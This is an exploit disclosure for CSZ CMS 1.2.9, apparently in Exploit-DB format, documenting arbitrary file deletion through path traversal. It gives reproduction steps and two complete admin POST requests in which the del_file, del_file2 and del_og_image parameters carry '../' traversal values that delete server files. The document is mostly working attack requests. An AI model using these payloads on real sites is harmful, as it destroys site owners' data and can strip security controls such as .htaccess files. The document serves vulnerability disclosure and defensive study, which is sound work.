1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 |
# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion # Date: 2021-07-20 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://www.cszcms.com # Software Link: https://sourceforge.net/projects/cszcms/files/latest/download # Version: 1.2.9 # Tested on: Windows 10, XAMPP # Reference: https://github.com/cskaza/cszcms/issues/32 ################ # Description# ################ # CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints. ########## # PoC 1# ########## Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php Steps to Reproduce: 1. Login as admin 2. Goto Plugin Manager > Article > edit any article 3. Upload any image as "Main Picture" and "File Upload" and click save button 4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button 5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2" 1) Assumed there are files conf_secret_file.php and config_backup.txt in web root PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root Request: ======== POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1 Host: localhost Content-Length: 2048 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25 Connection: close ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="title" article beta ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="keyword" testing file ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="short_desc" deletion ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="cat_id" 2 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="content" <div class="row"> <div class="col-md-12"> <p>test for file deletion</p> </div> </div> <p><br><br></p> ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="del_file" ../../../conf_secret_file.php ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="file_upload"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="mainPicture" 2021/1626802955_1.png ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="del_file2" ../../../config_backup.txt ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="file_upload2"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="mainFile" 2021/1626802956_1.png ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="lang_iso" en ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="active" 1 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_active" 1 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_limit" 5 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_sort" reverse_time ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="submit" Save ------WebKitFormBoundaryAMyATk1BfQaBOHvY-- --- ########## # PoC 2# ########## Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php Steps to Reproduce: 1. Login as admin 2. Goto General Menu > Site Setting 3. Upload any image as "Site Logo" and "Image of og metatag" and click save button 4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button 5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image" 2) Assumed there are files conf_secret_file.php and config_backup.txt in web root PoC #2) param del_file & del_og_image - Deleting conf_secret_file.php and config_backup.txt in web root Request: ======== POST /CSZCMS-V1.2.9/admin/settings/update HTTP/1.1 Host: localhost Content-Length: 5163 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8cAl5KcKGP0D3Qi2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/CSZCMS-V1.2.9/admin/settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=t5jloe106o2i5hst51chr5ita9aklieu Connection: close ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteTitle" CSZ CMS Starter ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="title_setting" 2 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteFooter" © %Y% CSZ CMS Starter ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteKeyword" CMS, Contact Management System, HTML, CSS, JS, JavaScript, framework, bootstrap, web development, thai, english ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteTheme" cszdefault ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteLang" english ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="additional_metatag" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="additional_js" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="pagecache_time" 0 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="assets_static_domain" demo@cszcms.com ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="html_optimize_disable" 1 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="del_file" ../../conf_secret_file.php ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="file_upload"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteLogo" 2021/1626800829_logo.png ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="del_og_image" ../../config_backup.txt ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="og_image"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ogImage" 2021/1626800829_og.png ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteEmail" demo@cszcms.com ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="email_protocal" mail ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_host" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_user" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_pass" 123456 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_port" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="sendmail_path" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="email_logs" 1 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="googlecapt_sitekey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="googlecapt_secretkey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ga_client_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ga_view_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gsearch_cxid" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_key" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_lat" -28.621975 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_lng" 150.689082 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="fbapp_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="facebook_page_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="adobe_cc_apikey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_bg" #645862 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_fg" #ffffff ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_link" #f1d600 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_msg" This website uses cookies to improve your user experience. By continuing to browse our site you accepted and agreed on our ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_linkmsg" Privacy Policy and terms. ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_moreinfo" https://www.cszcms.com/LICENSE.md ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_txtalign" left ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_close" Got it! ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="submit" Save ------WebKitFormBoundary8cAl5KcKGP0D3Qi2-- --- # For more explaination, you can refer to the github issue on cszcms via https://github.com/cskaza/cszcms/issues/32 # The affected version is 1.2.9. |